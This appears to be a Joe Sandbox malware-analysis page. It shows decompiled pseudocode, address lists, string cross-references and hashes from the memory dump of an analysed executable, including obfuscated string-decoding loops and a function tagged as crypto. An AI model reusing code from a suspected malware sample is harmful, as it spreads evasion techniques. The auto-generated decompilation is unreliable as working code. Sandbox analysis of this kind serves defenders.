									_v664 =  &_v416;
									_v660 =  &_v400;
									_v656 = _v812;
									_v652 =  &_v344;
									_v648 = _v796;
									_v644 =  &_v504;
									_v640 = _v804;
									_v636 = _v788;
									_v632 =  &_v288;
									_v628 =  &_v304;
									_v624 =  &_v488;
									_t1493 = _a4;
									_v620 = _v860;
									_v616 = _v852;
									_v612 = _v844;
									_v608 = _v836;
									_v604 =  &_v312;
									_v600 =  &_v328;
									_v596 = _v828;
									_v592 =  &_v280;
									_v588 =  &_v264;
									_v584 =  &_v384;
									_v580 =  &_v408;
									_v576 = _v820;
									_v572 =  &_v272;
									_v564 = _v532;
									_v560 =  &_v376;
									_v548 =  &_v472;
									_v556 = _t1499;
									_v568 = _t1319;
									_v552 = _t1504;
									_v544 =  &_v336;
									_v540 = _t1257;
									_v536 =  &_v892;
									_t1500 = 0;
									while(1) {
										_v896 = _v896 ^ _v896 * 0x00000038 & 0x000000ff;
										 *0x431c86 = 0x37;
										_t1261 = E00425320(_t1493,  *((intOrPtr*)(_t1520 + 0x84 + _t1500 * 4)));
										_t1506 = _t1520 + 8;
										if(_t1261 != 0) {
											break;
										}
										_t1500 = _t1500 + 1;
										if(_t1500 < 0x3e) {
											continue;
										}
										if(_v20 >= 0x10) {
											_push(_v40);
											L00424BCD();
											_t1506 = _t1506 + 4;
										}
										_t1165 = 1;
										goto L100;
									}
									if(_v20 < 0x10) {
										L106:
										_t1165 = 0;
										goto L100;
									}
									_push(_v40);
									L00424BCD();
									_t1506 = _t1506 + 4;
									_t1165 = 0;
									goto L100;
								}
								_t1266 = 0x58;
								do {
									_v896 = _v896 | _t1266;
									_t1267 = E004253A6( *_t1498);
									_t1506 = _t1506 + 4;
									if(_t1267 != 0) {
										goto L21;
									}
									_t1271 = E004253E5( *_t1498);
									_t1506 = _t1506 + 4;
									if(_t1271 != 0) {
										goto L21;
									}
									_t1272 =  *_t1498;
									if(_t1272 != 0x2e && _t1272 != 0x5f && _t1272 != 0x2d) {
										if(_t1498 == _t1479) {
											goto L22;
										}
										if(_v20 >= 0x10) {
											_push(_v40);
											L00424BCD();
											_t1506 = _t1506 + 4;
										}
										goto L106;
									}
									L21:
									_t1403 = _v896;
									_t1266 = _t1403 * 0x00000038 & 0x000000ff;
									_t1475 = _t1266;
									_t1498 = _t1498 + 1;
									_v896 = _t1403 | _t1475 | _t1285;
								} while (_t1498 != _t1479);
								goto L22;
							} else {
								goto L10;
							}
							do {
								L10:
								_t1275 =  *_t1497;
								if(_t1275 == 0x2e || _t1275 == 0x40) {
									_t12 = _t1497 + 1; // 0x0
									E00408A60( &_v44, _t12, _t1284);
									_push( &_v52);
									_t1284 = _t1497;
									if(E004075C0() == 0) {
										goto L7;
									}
								}
								_t1497 = _t1497 - 1;
							} while (_t1497 >= _t1479);
							goto L14;
						}
						L7:
						E004023D0( &_v44);
						goto L8;
					}
					L3:
					_t1165 = 0;
					goto L101;
				}
				_t1165 = 0;
				goto L102;
			}

0x00408bc0
0x00408bc0
0x00408bc2
0x00408bcd
0x00408bce
0x00408bd5
0x00408bdb
0x00408be2
0x00408beb
0x00408bec
0x00408bed
0x00408bf4
0x00408bf8
0x00408c01
0x00408c0b
0x00408c0c
0x00408c0f
0x00408c11
0x00408c21
0x00000000
0x00000000
0x00408c2c
0x00408c30
0x00408c35
0x00408c86
0x00408c86
0x0040adf4
0x0040adf5
0x0040adf6
0x0040adfe
0x0040ae18
0x0040ae18
0x00408c37
0x00408c42
0x00408c49
0x00408c50
0x00408c5b
0x00408c62
0x00408c78
0x00408c8d
0x00408c8f
0x00408c92
0x00408ccb
0x00408ccd
0x00408cd5
0x00408cd9
0x00408cdc
0x00408d3b
0x00408d3b
0x00408d43
0x00408d4b
0x00408d53
0x00408d5b
0x00408d63
0x00408d6b
0x00408d73
0x00408d7b
0x00408d83
0x00408d8b
0x00408d93
0x00408d9b
0x00408da0
0x00408db0
0x00408db7
0x00408db8
0x00408dc4
0x00408dc6
0x00408dce
0x00408dd6
0x00408dde
0x00408de6
0x00408dee
0x00408df6
0x00408dfe
0x00408e06
0x00408e0e
0x00408e16
0x00408e1e
0x00408e26
0x00408e2e
0x00408e36
0x00408e43
0x00408e5e
0x00408e66
0x00408e6e
0x00408e76
0x00408e7e
0x00408e86
0x00408e8e
0x00408e96
0x00408e9e
0x00408ea6
0x00408eae
0x00408eb6
0x00408eca
0x00408ece
0x00408eda
0x00408edb
0x00408ee3
0x00408eeb
0x00408ef3
0x00408efb
0x00408f03
0x00408f0b
0x00408f13
0x00408f1b
0x00408f23
0x00408f2b
0x00408f33
0x00408f3b
0x00408f43
0x00408f4b
0x00408f53
0x00408f5b
0x00408f60
0x00408f67
0x00408f6e
0x00408f7c
0x00408f80
0x00408f88
0x00408f8c
0x00408f94
0x00408f9c
0x00408fa4
0x00408fac
0x00408fb3
0x00408fbb
0x00408fc3
0x00408fcb
0x00408fd3
0x00408fdb
0x00408fe3
0x00408fe8
0x00408feb
0x00408fef
0x00408ff7
0x00408fff
0x00409007
0x0040900f
0x00409017
0x0040901f
0x00409027
0x00409030
0x00409030
0x00409038
0x00409039
0x00409040
0x00409048
0x00409050
0x00409058
0x00409060
0x00409067
0x0040906f
0x00409077
0x0040907f
0x00409087
0x0040908f
0x00409097
0x0040909f
0x004090a7
0x004090af
0x004090b1
0x004090b8
0x004090bf
0x004090c0
0x004090c5
0x004090cd
0x004090d5
0x004090dd
0x004090e5
0x004090ed
0x004090f5
0x004090fd
0x00409105
0x0040910d
0x00409115
0x00409120
0x00409127
0x0040912e
0x0040912f
0x00409134
0x0040913c
0x00409144
0x0040914c
0x00409154
0x0040915c
0x00409164
0x0040916c
0x00409174
0x0040917b
0x00409183
0x0040918b
0x00409193
0x0040919b
0x004091a3
0x004091b0
0x004091c0
0x004091c7
0x004091c8
0x004091cd
0x004091d5
0x004091dd
0x004091e5
0x004091ed
0x004091f5
0x004091fd
0x00409205
0x0040920d
0x00409215
0x0040921d
0x00409225
0x0040922d
0x00409235
0x0040923d
0x00409245
0x0040924d
0x00409255
0x0040925d
0x00409260
0x00409270
0x00409277
0x00409278
0x00409291
0x00409299
0x004092a1
0x004092a9
0x004092b1
0x004092b9
0x004092c1
0x004092c9
0x004092d1
0x004092d9
0x004092ed
0x004092f1
0x004092fb
0x004092fc
0x004092fd
0x004092fe
0x00409306
0x0040930e
0x00409316
0x0040931e
0x00409326
0x0040932e
0x00409336
0x0040933e
0x00409345
0x0040934d
0x00409355
0x0040935d
0x00409369
0x0040936a
0x00409372
0x00409376
0x0040937e
0x00409386
0x0040938e
0x00409396
0x0040939e
0x004093a6
0x004093ae
0x004093b6
0x004093be
0x004093c6
0x004093ce
0x004093d6
0x004093db
0x004093de
0x004093e2
0x004093ea
0x004093f2
0x004093fa
0x00409402
0x0040940a
0x00409412
0x0040941a
0x00409422
0x0040942a
0x00409432
0x00409440
0x00409450
0x00409457
0x00409458
0x0040945d
0x00409465
0x0040946d
0x00409475
0x0040947d
0x00409485
0x0040948d
0x00409495
0x0040949d
0x004094a5
0x004094ad
0x004094b5
0x004094bd
0x004094c5
0x004094cd
0x004094d0
0x004094e0
0x004094e7
0x004094e8
0x004094ed
0x004094f5
0x004094fd
0x00409505
0x0040950d
0x00409515
0x0040951d
0x00409520
0x00409520
0x00409528
0x00409529
0x0040952e
0x00409536
0x0040953e
0x00409546
0x0040954e
0x00409556
0x0040955e
0x00409566
0x0040956e
0x00409570
0x00409570
0x00409578
0x00409579
0x00409585
0x00409589
0x00409591
0x00409599
0x004095a1
0x004095a9
0x004095b1
0x004095b9
0x004095c1
0x004095c9
0x004095d1
0x004095d9
0x004095e0
0x004095e8
0x004095f0
0x004095f8
0x00409600
0x00409608
0x00409610
0x00409615
0x00409618
0x0040961c
0x00409624
0x0040962c
0x00409634
0x0040963c
0x00409644
0x0040964c
0x00409654
0x0040965c
0x00409664
0x0040966c
0x0040966e
0x00409670
0x00409680
0x00409687
0x00409688
0x00409694
0x00409696
0x0040969e
0x004096a6
0x004096ae
0x004096b6
0x004096be
0x004096c6
0x004096ce
0x004096d6
0x004096de
0x004096e6
0x004096ee
0x004096f6
0x004096fe
0x00409706
0x0040970e
0x00409713
0x00409716
0x0040971a
0x00409721
0x00409729
0x00409731
0x00409739
0x00409741
0x00409749
0x00409751
0x00409759
0x00409761
0x00409769
0x00409770
0x00409780
0x00409787
0x00409788
0x0040978d
0x00409795
0x0040979d
0x004097a5
0x004097ad
0x004097b5
0x004097bd
0x004097c5
0x004097cd
0x004097d5
0x004097dd
0x004097e0
0x004097f0
0x004097f7
0x004097f8
0x004097ff
0x00409806
0x0040980d
0x00409815
0x0040981d
0x00409825
0x0040982d
0x00409835
0x0040983d
0x00409845
0x0040984d
0x00409855
0x0040985d
0x00409865
0x0040986d
0x00409875
0x0040987d
0x00409880
0x00409890
0x00409897
0x00409898
0x0040989d
0x004098a2
0x004098a7
0x004098ac
0x004098b1
0x004098b3
0x004098b3
0x004098b8
0x004098b9
0x004098be
0x004098c6
0x004098ce
0x004098d6
0x004098de
0x004098e6
0x004098ee
0x004098f0
0x004098f0
0x004098f8
0x004098f9
0x00409905
0x00409907
0x0040990f
0x00409917
0x0040991f
0x00409927
0x0040992f
0x00409937
0x0040993f
0x00409947
0x0040994f
0x00409957
0x0040995f
0x00409967
0x0040996f
0x00409974
0x00409977
0x0040997e
0x00409986
0x0040998e
0x00409996
0x0040999e
0x004099a6
0x004099ae
0x004099b6
0x004099be
0x004099c6
0x004099ce
0x004099d6
0x004099de
0x004099e6
0x004099ee
0x004099f6
0x004099fe
0x00409a06
0x00409a0e
0x00409a10
0x00409a20
0x00409a27
0x00409a28
0x00409a43
0x00409a4b
0x00409a53
0x00409a5b
0x00409a63
0x00409a6b
0x00409a73
0x00409a7b
0x00409a83
0x00409a8b
0x00409a93
0x00409a9b
0x00409aa3
0x00409aab
0x00409ab3
0x00409abb
0x00409ac2
0x00409aca
0x00409ad2
0x00409ada
0x00409ae7
0x00409aeb
0x00409af3
0x00409afb
0x00409b03
0x00409b0b
0x00409b13
0x00409b1b
0x00409b23
0x00409b2a
0x00409b32
0x00409b3a
0x00409b42
0x00409b4a
0x00409b50
0x00409b60
0x00409b67
0x00409b68
0x00409b6d
0x00409b75
0x00409b7d
0x00409b85
0x00409b8d
0x00409b95
0x00409b9d
0x00409ba5
0x00409bad
0x00409bb5
0x00409bbd
0x00409bc5
0x00409bcd
0x00409bd0
0x00409be0
0x00409be7
0x00409be8
0x00409bed
0x00409bf5
0x00409bfd
0x00409c05
0x00409c0d
0x00409c15
0x00409c1d
0x00409c25
0x00409c2d
0x00409c35
0x00409c3d
0x00409c45
0x00409c4d
0x00409c50
0x00409c5e
0x00409c60
0x00409c67
0x00409c68
0x00409c73
0x00409c77
0x00409c7e
0x00409c88
0x00409c8b
0x00409c90
0x00409c95
0x00409c9a
0x00409ca2
0x00409caa
0x00409cb7
0x00409cbb
0x00409cc3
0x00409ccb
0x00409cd3
0x00409cdb
0x00409ce3
0x00409ceb
0x00409cf3
0x00409d00
0x00409d00
0x00409d08
0x00409d09
0x00409d15
0x00409d21
0x00409d22
0x00409d2a
0x00409d32
0x00409d3a
0x00409d42
0x00409d4a
0x00409d52
0x00409d5a
0x00409d62
0x00409d6a
0x00409d79
0x00409d7d
0x00409d85
0x00409d8d
0x00409d95
0x00409d9d
0x00409da4
0x00409dac
0x00409db4
0x00409dbc
0x00409dc4
0x00409dcb
0x00409dd0
0x00409de0
0x00409de7
0x00409de8
0x00409df4
0x00409dfb
0x00409dfd
0x00409e05
0x00409e0d
0x00409e15
0x00409e1d
0x00409e25
0x00409e2d
0x00409e35
0x00409e3d
0x00409e45
0x00409e4d
0x00409e59
0x00409e5b
0x00409e63
0x00409e67
0x00409e6f
0x00409e77
0x00409e7f
0x00409e87
0x00409e8f
0x00409e97
0x00409e9f
0x00409ea7
0x00409eaf
0x00409eb7
0x00409ebf
0x00409ec7
0x00409ecf
0x00409ed7
0x00409edf
0x00409ee7
0x00409eef
0x00409ef7
0x00409efe
0x00409f01
0x00409f05
0x00409f0c
0x00409f14
0x00409f1c
0x00409f24
0x00409f2c
0x00409f33
0x00409f3b
0x00409f43
0x00409f50
0x00409f50
0x00409f58
0x00409f59
0x00409f5e
0x00409f66
0x00409f6e
0x00409f76
0x00409f7e
0x00409f86
0x00409f8e
0x00409f96
0x00409f9e
0x00409fa0
0x00409fa0
0x00409fa8
0x00409fa9
0x00409fae
0x00409fb6
0x00409fbe
0x00409fc6
0x00409fce
0x00409fd6
0x00409fde
0x00409fe6
0x00409fee
0x00409ff6
0x00409ffe
0x0040a000
0x0040a010
0x0040a017
0x0040a018
0x0040a021
0x0040a023
0x0040a02b
0x0040a030
0x0040a035
0x0040a03a
0x0040a03f
0x0040a047
0x0040a04f
0x0040a057
0x0040a05f
0x0040a06b
0x0040a06d
0x0040a075
0x0040a079
0x0040a081
0x0040a089
0x0040a091
0x0040a099
0x0040a0a1
0x0040a0a9
0x0040a0b1
0x0040a0b9
0x0040a0c1
0x0040a0c9
0x0040a0d0
0x0040a0d8
0x0040a0e0
0x0040a0e8
0x0040a0f0
0x0040a0f8
0x0040a100
0x0040a108
0x0040a110
0x0040a118
0x0040a120
0x0040a12d
0x0040a13d
0x0040a144
0x0040a158
0x0040a160
0x0040a168
0x0040a170
0x0040a178
0x0040a180
0x0040a188
0x0040a190
0x0040a198
0x0040a1a0
0x0040a1a8
0x0040a1b0
0x0040a1bd
0x0040a1c8
0x0040a1ca
0x0040a1d2
0x0040a1da
0x0040a1e2
0x0040a1ea
0x0040a1f2
0x0040a1fa
0x0040a202
0x0040a20a
0x0040a212
0x0040a21a
0x0040a222
0x0040a227
0x0040a22a
0x0040a22e
0x0040a236
0x0040a23e
0x0040a246
0x0040a24e
0x0040a256
0x0040a25e
0x0040a266
0x0040a26e
0x0040a276
0x0040a27e
0x0040a286
0x0040a28e
0x0040a296
0x0040a29e
0x0040a2a6
0x0040a2ae
0x0040a2b0
0x0040a2c0
0x0040a2c7
0x0040a2c8
0x0040a2cd
0x0040a2d5
0x0040a2dd
0x0040a2e5
0x0040a2ed
0x0040a2f5
0x0040a2fd
0x0040a305
0x0040a310
0x0040a310
0x0040a318
0x0040a319
0x0040a325
0x0040a327
0x0040a32f
0x0040a337
0x0040a33f
0x0040a347
0x0040a34f
0x0040a357
0x0040a35f
0x0040a367
0x0040a36f
0x0040a377
0x0040a37f
0x0040a387
0x0040a38f
0x0040a397
0x0040a39f
0x0040a3a7
0x0040a3ae
0x0040a3b3
0x0040a3b6
0x0040a3ba
0x0040a3c2
0x0040a3ca
0x0040a3d2
0x0040a3da
0x0040a3e2
0x0040a3ea
0x0040a3f2
0x0040a3fa
0x0040a402
0x0040a40a
0x0040a412
0x0040a41a
0x0040a422
0x0040a42a
0x0040a432
0x0040a43a
0x0040a440
0x0040a450
0x0040a457
0x0040a458
0x0040a45d
0x0040a465
0x0040a46d
0x0040a475
0x0040a47d
0x0040a485
0x0040a48d
0x0040a495
0x0040a49d
0x0040a4a5
0x0040a4ad
0x0040a4b5
0x0040a4bd
0x0040a4c5
0x0040a4cd
0x0040a4d5
0x0040a4dd
0x0040a4e0
0x0040a4f0
0x0040a4f7
0x0040a4f8
0x0040a4fd
0x0040a505
0x0040a50d
0x0040a515
0x0040a51d
0x0040a525
0x0040a52d
0x0040a535
0x0040a53d
0x0040a545
0x0040a54d
0x0040a555
0x0040a55d
0x0040a565
0x0040a56d
0x0040a570
0x0040a580
0x0040a587
0x0040a588
0x0040a58d
0x0040a595
0x0040a59d
0x0040a5a5
0x0040a5ad
0x0040a5b5
0x0040a5bd
0x0040a5c5
0x0040a5cd
0x0040a5d5
0x0040a5dd
0x0040a5e5
0x0040a5ed
0x0040a5f0
0x0040a600
0x0040a607
0x0040a608
0x0040a614
0x0040a616
0x0040a61e
0x0040a626
0x0040a62e
0x0040a636
0x0040a63e
0x0040a646
0x0040a64e
0x0040a656
0x0040a65e
0x0040a666
0x0040a66e
0x0040a676
0x0040a67e
0x0040a686
0x0040a68e
0x0040a696
0x0040a69e
0x0040a6a6
0x0040a6ae
0x0040a6b5
0x0040a6b8
0x0040a6bc
0x0040a6c4
0x0040a6cc
0x0040a6d4
0x0040a6db
0x0040a6e3
0x0040a6eb
0x0040a6f3
0x0040a6fb
0x0040a700
0x0040a700
0x0040a708
0x0040a709
0x0040a70e
0x0040a71c
0x0040a71e
0x0040a726
0x0040a72e
0x0040a736
0x0040a73e
0x0040a746
0x0040a74e
0x0040a756
0x0040a75e
0x0040a766
0x0040a76e
0x0040a776
0x0040a77e
0x0040a786
0x0040a78e
0x0040a796
0x0040a79e
0x0040a7a6
0x0040a7b3
0x0040a7b7
0x0040a7c1
0x0040a7c8
0x0040a7cf
0x0040a7d7
0x0040a7d8
0x0040a7db
0x0040a7dc
0x0040a7e4
0x0040a7ec
0x0040a7f4
0x0040a7fc
0x0040a804
0x0040a80c
0x0040a814
0x0040a81c
0x0040a824
0x0040a82c
0x0040a834
0x0040a83c
0x0040a844
0x0040a851
0x0040a858
0x0040a860
0x0040a868
0x0040a870
0x0040a878
0x0040a880
0x0040a888
0x0040a890
0x0040a892
0x0040a892
0x0040a89a
0x0040a89b
0x0040a8b1
0x0040a8b6
0x0040a8bb
0x0040a8c0
0x0040a8c5
0x0040a8cd
0x0040a8d5
0x0040a8dd
0x0040a8e5
0x0040a8ee
0x0040a8ef
0x0040a8f8
0x0040a8f9
0x0040a8fe
0x0040a903
0x0040a908
0x0040a90d
0x0040a915
0x0040a91d
0x0040a925
0x0040a92d
0x0040a932
0x0040a936
0x0040a937
0x0040a93f
0x0040a947
0x0040a94f
0x0040a957
0x0040a95f
0x0040a961
0x0040a961
0x0040a969
0x0040a96a
0x0040a96f
0x0040a977
0x0040a97f
0x0040a987
0x0040a98f
0x0040a997
0x0040a99f
0x0040a9a7
0x0040a9af
0x0040a9b7
0x0040a9bf
0x0040a9c7
0x0040a9cf
0x0040a9d7
0x0040a9df
0x0040a9f0
0x0040aa00
0x0040aa07
0x0040aa08
0x0040aa11
0x0040aa1d
0x0040aa1e
0x0040aa23
0x0040aa28
0x0040aa2d
0x0040aa35
0x0040aa3d
0x0040aa45
0x0040aa4a
0x0040aa4f
0x0040aa54
0x0040aa59
0x0040aa5e
0x0040aa66
0x0040aa6e
0x0040aa76
0x0040aa7e
0x0040aa80
0x0040aa87
0x0040aa8b
0x0040aa8c
0x0040aa95
0x0040aaa0
0x0040aaae
0x0040aab9
0x0040aac4
0x0040aad2
0x0040aae0
0x0040aaee
0x0040aafc
0x0040ab07
0x0040ab12
0x0040ab20
0x0040ab2b
0x0040ab39
0x0040ab47
0x0040ab55
0x0040ab60
0x0040ab6b
0x0040ab79
0x0040ab87
0x0040ab95
0x0040aba3
0x0040abb1
0x0040abbc
0x0040abca
0x0040abdc
0x0040abe3
0x0040abf1
0x0040abff
0x0040ac0d
0x0040ac1f
0x0040ac26
0x0040ac38
0x0040ac3f
0x0040ac51
0x0040ac5c
0x0040ac6a
0x0040ac78
0x0040ac86
0x0040ac91
0x0040ac9c
0x0040aca3
0x0040acae
0x0040acb9
0x0040acc0
0x0040acce
0x0040ace0
0x0040ace7
0x0040acf5
0x0040ad03
0x0040ad11
0x0040ad23
0x0040ad2a
0x0040ad3f
0x0040ad46
0x0040ad5b
0x0040ad62
0x0040ad74
0x0040ad7b
0x0040ad82
0x0040ad89
0x0040ad90
0x0040ad97
0x0040ad9e
0x0040ada0
0x0040adaf
0x0040adbc
0x0040adc3
0x0040adc8
0x0040adcd
0x00000000
0x00000000
0x0040adcf
0x0040add3
0x00000000
0x00000000
0x0040addd
0x0040ade6
0x0040ade7
0x0040adec
0x0040adec
0x0040adf3
0x00000000
0x0040adf3
0x0040ae49
0x0040ae3d
0x0040ae3d
0x00000000
0x0040ae3d
0x0040ae52
0x0040ae53
0x0040ae58
0x0040ae5b
0x00000000
0x0040ae5b
0x00408ce0
0x00408ce3
0x00408ced
0x00408cf1
0x00408cf6
0x00408cfb
0x00000000
0x00000000
0x00408d01
0x00408d06
0x00408d0b
0x00000000
0x00000000
0x00408d0d
0x00408d11
0x0040ae1d
0x00000000
0x00000000
0x0040ae2b
0x0040ae34
0x0040ae35
0x0040ae3a
0x0040ae3a
0x00000000
0x0040ae2b
0x00408d1f
0x00408d1f
0x00408d29
0x00408d2d
0x00408d32
0x00408d35
0x00408d35
0x00000000
0x00000000
0x00000000
0x00000000
0x00408c94
0x00408c94
0x00408c94
0x00408c98
0x00408c9f
0x00408caa
0x00408cb6
0x00408cbc
0x00408cc4
0x00000000
0x00000000
0x00408cc4
0x00408cc6
0x00408cc7
0x00000000
0x00408c94
0x00408c7a
0x00408c81
0x00000000
0x00408c81
0x00408c13
0x00408c13
0x00000000
0x00408c13
0x00408bfa
0x00000000

Strings

e, xrefs: 00409AFB
g, xrefs: 004096A6
E, xrefs: 0040A03F
3, xrefs: 00409986
E, xrefs: 00409CAA
V, xrefs: 0040A75E
z, xrefs: 00408DDE
L, xrefs: 0040A04F
:, xrefs: 0040A80C
K, xrefs: 00409C05
d, xrefs: 0040A878
T, xrefs: 00409D6A
7, xrefs: 00409C15
\, xrefs: 0040A03A
p, xrefs: 004093EA
^, xrefs: 0040A595
_, xrefs: 00409475
$, xrefs: 00409AD2
$, xrefs: 0040A7EC
d, xrefs: 0040A868
;, xrefs: 00409CC3
-, xrefs: 00409706
c, xrefs: 0040A98F
*, xrefs: 00409B03
Z, xrefs: 0040AA1E
%, xrefs: 00409A43
;, xrefs: 0040A62E
{, xrefs: 0040A170
n, xrefs: 00408EE3
!, xrefs: 0040A565
[, xrefs: 004099BE
7, xrefs: 0040A5C5
E, xrefs: 00408DD6
), xrefs: 0040980D
s, xrefs: 00409030
(, xrefs: 00408F8C
/, xrefs: 00408D53
i, xrefs: 00409E0D
N, xrefs: 004093FA
L, xrefs: 0040AA35
I, xrefs: 0040990F
a, xrefs: 004090DD
4, xrefs: 00409465
W, xrefs: 00409050
&, xrefs: 0040A51D
Z, xrefs: 00408E76
K, xrefs: 00409F8E
o, xrefs: 004098F0
y, xrefs: 004091ED
&, xrefs: 004095A9
q, xrefs: 00409AF3
", xrefs: 0040A047
J, xrefs: 004096B6
H, xrefs: 0040A0A1
Z, xrefs: 00409E9F
$, xrefs: 0040913C
d, xrefs: 0040A96F
", xrefs: 0040AA3D
B, xrefs: 00409F86
;, xrefs: 0040A5BD
D, xrefs: 0040A7E4
4, xrefs: 00409D95
p, xrefs: 0040A3C2
., xrefs: 00409FA0
1, xrefs: 00409BED
#, xrefs: 0040A626
\, xrefs: 0040931E
K, xrefs: 00409EA7
u, xrefs: 0040A880
N, xrefs: 0040906F
I, xrefs: 0040A58D
?, xrefs: 00408F13
>, xrefs: 00409134
-, xrefs: 0040A33F
., xrefs: 00409F96
c, xrefs: 00409591
b, xrefs: 00408D5B
l, xrefs: 0040998E
8, xrefs: 0040991F
U, xrefs: 00408DEE
t, xrefs: 00409E87
4, xrefs: 00409CDB
E, xrefs: 004091E5
E, xrefs: 0040A236
h, xrefs: 0040A69E
9, xrefs: 004092A1
{, xrefs: 0040AA4F
%, xrefs: 004090C5
V, xrefs: 00409F66
<, xrefs: 00409739
O, xrefs: 00409F6E
., xrefs: 00409CCB
f, xrefs: 0040999E
_, xrefs: 00409B95
_, xrefs: 00409AAB
E, xrefs: 0040AA59
*, xrefs: 0040A5A5
4, xrefs: 0040AA23
?, xrefs: 0040A555
s, xrefs: 0040A804
[, xrefs: 00409E97
G, xrefs: 0040997E
x, xrefs: 00408DE6
=, xrefs: 0040920D
6, xrefs: 00409A5B
}, xrefs: 0040A34F
q, xrefs: 00409BAD
Z, xrefs: 00409CEB
2, xrefs: 00408F0B
a, xrefs: 004095A1
F, xrefs: 0040A63E
T, xrefs: 0040A7DC
s, xrefs: 0040901F
C, xrefs: 00409F76
:, xrefs: 0040A3E2
I, xrefs: 0040A834
>, xrefs: 0040981D
o, xrefs: 0040A870
9, xrefs: 0040A1D2
F, xrefs: 00409048
u, xrefs: 004090D5
3, xrefs: 00409CD3
_, xrefs: 0040A61E
t, xrefs: 0040A858
r, xrefs: 0040A860
`, xrefs: 0040A68E
K, xrefs: 00409A4B
P, xrefs: 0040A766
!, xrefs: 004091CD
P, xrefs: 0040A64E
I, xrefs: 00409A8B
/, xrefs: 004098DE
J, xrefs: 0040AA4A
n, xrefs: 00409D85
_, xrefs: 0040A814
-, xrefs: 0040992F
5, xrefs: 0040A646
d, xrefs: 0040A160
}, xrefs: 0040A505
l, xrefs: 0040A987
j, xrefs: 0040A0B1
Z, xrefs: 00409D00
H, xrefs: 00408F9C
), xrefs: 00409D7D
], xrefs: 0040A97F
', xrefs: 004093E2
}, xrefs: 0040939E
9, xrefs: 0040A057
, xrefs: 0040A4FD
n, xrefs: 004090CD
+, xrefs: 0040A83C
5, xrefs: 0040961C
<, xrefs: 00409A73
[, xrefs: 0040A1F2
=, xrefs: 00409CE3
i, xrefs: 004096CE
#, xrefs: 00409E1D
^, xrefs: 00409F7E
2, xrefs: 0040A3DA
', xrefs: 0040A844
g, xrefs: 0040A0A9
}, xrefs: 00409485
O, xrefs: 0040A5D5
H, xrefs: 004091DD
j, xrefs: 00409624
@, xrefs: 0040A030
&, xrefs: 0040A32F
5, xrefs: 00409C8B
), xrefs: 0040A8BB
o, xrefs: 004098E6

Memory Dump Source

Source File: 00000000.00000002.685308858.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.685305426.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685339970.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685345354.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.685352255.0000000000434000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685356146.0000000000441000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685360676.0000000000460000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.685364084.0000000000464000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_data.jbxd

Similarity

API ID:
String ID: $!$!$"$"$#$#$$$$$$$%$%$&$&$&$'$'$($)$)$)$*$*$+$-$-$-$.$.$.$/$/$1$2$2$3$3$4$4$4$4$5$5$5$6$7$7$8$9$9$9$:$:$;$;$;$<$<$=$=$>$>$?$?$@$B$C$D$E$E$E$E$E$E$F$F$G$H$H$H$I$I$I$I$J$J$K$K$K$K$L$L$N$N$O$O$P$P$T$T$U$V$V$W$Z$Z$Z$Z$Z$[$[$[$\$\$]$^$^$_$_$_$_$_$`$a$a$b$c$c$d$d$d$d$e$f$g$g$h$i$i$j$j$l$l$n$n$n$o$o$o$p$p$q$q$r$s$s$s$t$t$u$u$x$y$z${${$}$}$}$}
API String ID: 0-319044234
Opcode ID: 00e987744d2e9d1c02cf198823c09ea1cf26fed952ed3790c65d07e82374bf7a
Instruction ID: e915807701f1d54a269bcef113576be27a00d47de0c663618095ac734ab9a2c8
Opcode Fuzzy Hash: 00e987744d2e9d1c02cf198823c09ea1cf26fed952ed3790c65d07e82374bf7a
Instruction Fuzzy Hash: 8413B02000C7C299D332C63898587DFBFD55BA7328F588BADD1ED4A2D2D6B5020AD767

Uniqueness

Uniqueness Score: -1.00%

Function 0040C8E0, Relevance: 209.4, APIs: 14, Strings: 125, Instructions: 948
stringCOMMONCrypto

Download Yara Rule

C-Code - Quality: 49%

			E0040C8E0(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi) {
				intOrPtr _t614;
				void* _t615;
				int _t620;
				intOrPtr _t627;
				void* _t635;
				signed int _t641;
				void* _t649;
				void* _t654;
				void* _t673;
				intOrPtr _t674;
				void* _t681;
				void* _t686;
				intOrPtr _t687;
				signed int _t704;
				void* _t709;
				intOrPtr _t710;
				intOrPtr _t716;
				int _t719;
				void* _t725;
				intOrPtr _t726;
				void* _t730;
				intOrPtr _t731;
				intOrPtr _t735;
				void* _t741;
				void* _t745;
				void* _t747;
				void* _t764;
				void* _t788;
				void* _t789;
				void* _t791;
				void* _t792;
				intOrPtr _t805;
				char _t806;
				void* _t810;
				intOrPtr _t851;
				void* _t852;
				void* _t853;
				intOrPtr _t854;
				intOrPtr _t862;
				signed int _t864;
				intOrPtr _t866;
				void* _t867;
				void* _t868;

				_t614 =  *0x4310d8; // 0xd0c2a9a8
				_t851 = __ecx;
				 *((intOrPtr*)(_t867 + 0x5a4)) = _t614;
				 *((intOrPtr*)(_t867 + 0x14)) = __ecx;
				 *(_t867 + 0xc) = 0x5d;
				 *(_t867 + 0xd) = 0xac;
				 *(_t867 + 0xe) = 0x58;
				_t615 = 0;
				_pop(_t858);
				_t741 = 2;
				do {
					_t806 =  *((intOrPtr*)(_t867 + _t615 + 0xc));
					 *((char*)(_t867 + _t615 + 0xc)) =  *((intOrPtr*)(_t867 + _t741 + 0xc));
					_t615 = _t615 + 1;
					 *((char*)(_t867 + _t741 + 0xc)) = _t806;
					_t741 = _t741 - 1;
				} while (_t615 < _t741);
				 *(_t867 + 0x10) =  *(_t867 + 0xc) ^ 0x00000055;
				_push(0x40);
				_push(_t867 + 0x164);
				 *(_t867 + 0x19) =  *(_t867 + 0xd) ^ 0x000000a6;
				 *0x431c88 = 0xb;
				 *(_t867 + 0x1a) =  *(_t867 + 0xe) ^ 0x0000005d;
				E0040BE00();
				_t868 = _t867 + 8;
				_t620 = lstrlenA(_t868 + 0x164);
				_t735 =  *((intOrPtr*)(_t868 + 0x5ac));
				_push(_t620);
				_push(_t868 + 0x168);
				_t745 = _t735;
				if(E0041BC30(_t620, _t745) == 0xffffffff) {
					L4:
